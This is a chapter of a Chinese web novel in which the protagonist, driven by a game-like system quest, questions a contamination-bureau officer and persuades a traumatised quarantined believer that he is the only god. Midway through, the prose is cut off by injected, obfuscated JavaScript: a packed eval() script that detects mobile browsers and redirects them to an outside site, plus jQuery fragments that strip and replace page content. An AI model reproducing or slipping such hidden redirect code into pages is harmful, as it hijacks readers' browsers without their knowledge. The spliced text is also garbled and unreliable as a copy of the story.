事故发生后,燕堇理所当然得到了方诏的单独询问,对方坐在长桌的另一端,警惕地和他保持着一米以上的距离。
“燕先生,你对他说了什么?”
燕堇有些好笑地看着方诏,“他没告诉您吗?”
方诏抿唇,邬俞给出的答案太荒诞,但那家伙虽然小事不靠谱,却不会在大事上开玩笑。
“他说他是救世神。”坐在地上的男人一只手搭在膝盖上,一只手一下一下的摩挲水泥地面。
简直荒诞,救世神教廷听见了恐怕要连夜追杀他这个渎神者。
燕堇怎么敢的?
方诏眼神波动了一下,双手背在身后来回踱了几步,“你信吗?”
“不信。”
邬俞耸肩,“你知道的,他有精神病。”
“可你的控制器爆炸了,”方诏凝视着地面,视线顿了顿,“邬俞,你没病吧?”
“去你的,”邬俞没好气地挥了挥手,“你难道信吗?”
救世神也好、生命神也好,内城区供奉着大大小小几百位神明,有些连教廷都没有。
所有人都知道神明是虚假的,他们只是需要一个精神支柱,如果真的有神,人类哪里还用和该死的诡异纠缠这么多年。
燕堇看出了方诏的想法,唇角缓缓挑起,“您既然已经知道了,应该不用我再说一遍。”
方诏听出了不对,抬眼看他,对视的一瞬,心中猛地跳了一下,背后酥酥麻麻地涌起冷意,后脑勺大片地发烫。
那模样病态的青年不知和谁借了根红绳将长发扎了起来,红色的细蛇似的在发间蜿蜒。
方诏身体中异化的部位火烧似的颤动着,提醒他远离燕堇。
强行镇定下来,方诏低声问:“前几天,我和杨医生聊了一会儿,能否冒昧地问一句,在你眼里,我是什么样?”
燕堇笑弯了眼,“什么也不是。”
在他的视野中,对面只是一个普普通通的男人罢了,穿着污染管理局的制服,大背头,表情严肃。
方诏听懂了,“你看我没有幻觉?”
“没有。”
松了口气,方诏确信燕堇只是精神病而已,所谓的神明不过是他的臆想。
“不过,”燕堇歪了歪脸,“你背对我的时候,后脑勺上有一张人脸,和你长得一模一样。”
方诏愕然地摸了摸脑后的头发,那里就是他被诡异污染的地方,燕堇居然看得出来?
灼烧感越来越强烈,另一张脸扭曲地发出只有方诏能听到的尖叫,他拼命的催促方诏远离燕堇。
不属于人类的灰色眼珠惊恐地瞪着燕堇,要不是它是方诏的一部分,早就自己爬走了。
燕堇笑吟吟地看着那颗透明的脑袋,右上角的红字欢快地跳动着。
【让至少一个人相信你是神,任务倒计时:7小时】
方诏吗?有点麻烦。
“它在看我。”燕堇说。
方诏咽了口唾沫,解释道:“抱歉,我也控制不了它。”
方诏不是战斗型,这颗头能够帮助他趋吉避凶,在过去几次和诡异的交手中都发挥了作用,他相信它的判断。
想起裴之涟刚被送来外城区时发生的事,方诏后脑勺更烫了。
一个接一个都来他们外城区霍霍,外城区哪里容得下这些大佛。
裴家还真是不养闲人。
理解的点点头,燕堇站起身问:“方队长,你要是没问题,我就先回去了。”
“杨医生在等着我。”
今天是隔离的最后一天,理论上燕堇该跟着杨自明回紫山精神病院了,他没有任何异化的表现,却比任何一名异化者更让人心生戒备。
方诏没有拦他,眼睁睁地看着青年远去,手指无力地扣住桌面,“他是人吗?”
后脑勺上的人脸露出困惑的表情,“我不知道。”
它闻到的是彻彻底底的人类气味,但面对燕堇时却莫名的恐慌,似乎要被人连皮一起撕下来。
它只能确定,燕堇不是方诏能轻易得罪的人。
走廊外,系统突兀地冒了出来。
【系统:任务奖励黑色气场使用完毕,你已经没有多少奖励能用了。】
考虑到人还在污染管理局,燕堇难得没有自言自语。
【燕堇:新任务的奖励是什么?】
【系统:圣光普照,能够延缓异化者的污染速度,削弱异化者的力量。】
燕堇眨了眨眼,只是延缓有什么用,治标治不治本。
【系统:集齐三个圣光普照合成日月并明,能够驱除污染、驱赶C级及C级以下的诡异。】
听起来还行。
燕堇环顾四周,一个个隔离房间蜂巢般挤在一起。
最近外城区诡异出现的频率越来越频繁,污染管理局每天人进人出,像是巨大的快递中转站。
低低的哭泣声传来出来,喘息和水雾用时蒙上了玻璃墙,有的房间里甚至有呕吐声,酸臭的气味在传播过程中被墙壁阻隔。
这些直面诡异的人正处于精神崩溃的边缘,像裂开壳的幼崽般不堪一击。
燕堇眼波流转,手指在空气中点了点。
选择谁好呢?
路过其中一个房间,里面的男人蜷缩着身体,像是烧熟的虾子一样弓起脊背,嘴里不断地呢喃着。
燕堇侧耳听了听,好家伙,一会儿喊救世神一会儿喊光明神,颠三倒四地拜了各路神明,有燕堇听说过的,也有没听说过的。
信的挺杂啊。
走近玻璃墙,燕堇屈指敲了敲,房间里的男人似乎是被突然的动静吓了一跳,全身猛地打了个颤。
他拔萝卜似的将头从双臂之间抬起来,只一眼,男人的眸中立刻迸射出了光亮。
“神啊…”
“您、”男人跌跌撞撞地跑向他,双腿一弯跪倒在地,涕泪横流,“神明大人…是您…”
他见过燕堇。
在那个大雾天。
可怕的异化者在大雾中肆意的屠杀着外城区的居民,男人趴在天台上,头都不敢抬,身体抖成了筛子,牙齿咯吱咯吱的打颤。
古怪的音乐声从远处传来,伴随着嘎嘎的机械笑声,比异化者更加令人毛骨悚然。
好奇心不一定能害死猫,但一定能害死人。
男人戴着手套的双手紧紧地扣住天台边缘,将脑袋小心翼翼地伸出去,手指碰到了一处螺丝,“哐啷”一声,巨大的吊牌砸了下去。
吊牌带起的风短暂的吹散了雾气,他紧张地向下看,瞄到了手持莲花灯的青年。
隔着这么远,他根本看不清对方的脸,但支持他在外城区活到现在的直觉发了力。
就像草食动物对天敌的戒备一样,男人吓得弯腰捂住心口,全身都因为扑面而来的危险感而发冷,寒毛直立,只有心脏越来越火热,剧烈的心跳声响得他耳鸣。
他腿一软摔回地面,上半身靠着破烂的墙壁,双腿弯曲缩成一团,哆哆嗦嗦地掏出手机。
那家伙、那家伙一定也是异化者!
颤抖的手指点开污染管理局的紧急热线,鲜红的数字像是一道变形的口子烙在屏幕上。
“轰!”的一声地动山摇,男人短促地尖叫了一声,手机“啪”地摔了出去,屏幕瞬间爬满了蛛网。
男人艰难地撑起身体,爬到天台边缘向下看,两名异化者居然对上了!
他倒吸了一口气,急忙捡起手机打开摄像头,在放大数倍的镜头中,那漂亮青年的脸终于显形。
男人莫名有些激动,居然能看到异化者内讧,他的兴奋之情没能维持多久,断裂的触手喷溅出一大股血注,将男人脸上的表情一并带走。
这不是战斗。
这是单方面的杀戮。
男人瞳孔颤抖,不可置信地看着那青年轻轻做了个口型,异化者就像烟花一样炸开了。
天哪……
一只手捂住嘴,他将尖叫声强行咽了进去。
作为一名虔诚的信徒,男人每个月都会给各个神教交会费,听了无数主教口中关于神明的事迹。
人类做不到,只有神明才能这么轻而易举的杀了异化者。
神明是真实存在的!
等燕堇的身影远去,男人双膝下跪,眼里兜着两泡泪俯下身,额头紧贴地面道:“神主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509503|170554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊——”
他们祈求了这么多年,神终于投来了怜悯的视线。
循着莲花灯欢快的歌声,男人蹲下身,用衣袖将上面的血污仔仔细细擦干净,小心翼翼地塞进了外套里。
他相信神明的物品能够驱赶诡异,将莲花灯放在了床头,它足足响了两天才终于没了电,在歌声的陪伴下,男人也终于能够睡上安稳觉了。
一个月之后,男人再一次遇到了诡异袭击,他自信满满地闭上眼祈求神明眷顾,等来的,却是遍地的尸体。
瘫软在地的男人闻着空气中令人作呕的血腥气,表情痛苦地捂住肚子,胃袋不断的抽搐着,酸液在体内跌宕。
不远处的诡异被赶来的污染管理局队员狠狠的刺穿了脑袋,头颅如石榴般爆开,飞溅的血水和大雾那天一模一样。
男人摸了摸脸上的血,呆滞地眨了眨眼。
处理完诡异后,污染管理局队员们将幸存者挨个拉了起来,男人像是被抽去了骨头,摇摇晃晃地,站不稳。
神明不愿意眷顾他吗?
是他不够诚心吗?
被送进隔离室时,他依然像是丢了魂,双手紧紧地抱着自己,像神明忏悔自己的过错。
他不该拿走神明的莲花灯。
他不该毫不反抗地站在原地等待神明施以援手。
他有千不该万不该。
思绪翻涌,男人堵塞的情绪在看到燕堇时如高压锅中的水般翻腾,顶翻了盖子倾泻而出。
您原来一直都在!
男人全都明白了,是神主派污染管理局来救他们的,神听到了他的祈祷,神没有抛弃他的信徒!
脑袋一热,他直接跑到了燕堇面前,然而对上那双金瞳时,男人瞬间回过了神,血液结了一层冻,手脚冰凉。
“呃、”
发出一声毫无意义的语气词,男人立刻低下眉,他不敢再直视燕堇。
蜗牛将身体缩进了壳,两根触须却在空气中摇摆着。
他渴望神的注视,而神也满足了他的愿望。
燕堇玩味地俯视玻璃墙里的男人,“你认识我?”
男人立刻诚惶诚恐的说:“不、我不认识您。”
他哪里配认识神明?
燕堇眼珠转了转,又问:“你是我的信徒?”
“是!我是!”
男人激动地攥紧拳头,恨不得把心脏从喉咙里吐出来送给燕堇,惊恐的神色褪去,取而代之的是夸张的兴奋。
燕堇俯身,一只手轻轻点在玻璃墙上,似笑非笑的问:“那你说,我是什么神?”
男人僵在原地,无措地捻了捻衣服下摆,他不知道,内城区教廷供奉的神像中并没有如燕堇这般、这般——
思绪中断,男人不知道该如何描述燕堇,他比高高在上的神像更加不近人情,任何一个字眼都是冒犯他。
救世神一袭白衣,救世间万物于灾厄,可他见到燕堇的那天,青年穿着一身黑色风衣外套。
生命神以木鸟为身,以藤为衣,怜悯世人艰辛,歌颂生机,也对不上。
光明神所到之处黑暗无处藏身,诡异现形,这本该是最符合的,可男人就是觉得不对。
定定的凝视着燕堇的衣角下摆,男人突然有了想法。
“神主。”
在燕堇的注视下,男人突然抬起头道:“您是神主,众神之主!”
他自认为回答得极好,眉毛高高地挑起,渴望从燕堇的脸上看到一丝认可。
燕堇忽地笑起来,“错。”
空气凝滞。
男人立刻垮了脸,腰也塌了下去,正惶恐着,只听燕堇轻声说:“没有众神,我就是唯一的神。”
什么?
男人不可置信地抬眸,只见那青年俯下身,狭长的眸子弯成月牙状,肤色瓷器般白净。
他笑着问:“你难道见过别的神吗?”
“…没有。”
男人喉咙发干,恍惚间似乎闻到了口腔中的血腥气。
“没有,”他又说,声音已经哽咽了起来:“只有您。”
只有您愿意垂怜水生火热中的信徒。
只有您。